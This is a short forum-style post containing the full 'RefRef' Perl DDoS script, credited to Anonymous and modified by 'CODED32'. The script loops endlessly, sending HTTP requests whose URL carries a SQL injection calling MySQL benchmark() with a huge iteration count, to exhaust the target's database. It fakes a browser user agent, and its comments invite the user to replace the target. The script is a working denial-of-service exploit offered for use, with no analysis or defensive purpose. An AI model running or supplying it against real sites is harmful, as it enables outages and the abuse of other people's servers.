refref DDOS PRIVATE PERL Script in controversy to XerXes.

    #!usr/bin/perl
    #RefRef (C) Anonymous 2011
    #Private DDoS modified by CODED32
    #Use wisely, modify the target below, replace with www.teamopenfire.com with target.
    #Using target to Team OpenFire, will cause you personal problems, so better edit the script before use.

    use LWP::UserAgent;

    my $nave = LWP::UserAgent->new;
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
    $nave->timeout(5);

    head();
    if($ARGV[0]) {
    now($ARGV[0]);
    } else {
    sintax();
    }
    copyright();

    sub now {
    print "\n[+] Target : ".$_[0]."\n";
    print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
    while(true) {
    $SIG{INT} = \&adios;
    $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
    unless($code->is_success) {
    print "[+] Web Off\n";
    copyright();
    }}}

    sub adios {
    print "\n[+] Stoping attack\n";
    copyright();
    }

    sub head {
    print "\n\n-- == #RefRef http://www.teamopenfire.com == --\n\n";
    }

    sub copyright {
    print "\n\n-- == RefRef http://www.teamopenfire.com == --\n\n";
    exit(1);
    }

    sub sintax {
    print "\n[+] Sintax : $0 \n";
    }

    sub toma {
    return $nave->get($_[0]);
    }

    # ¿ The End ?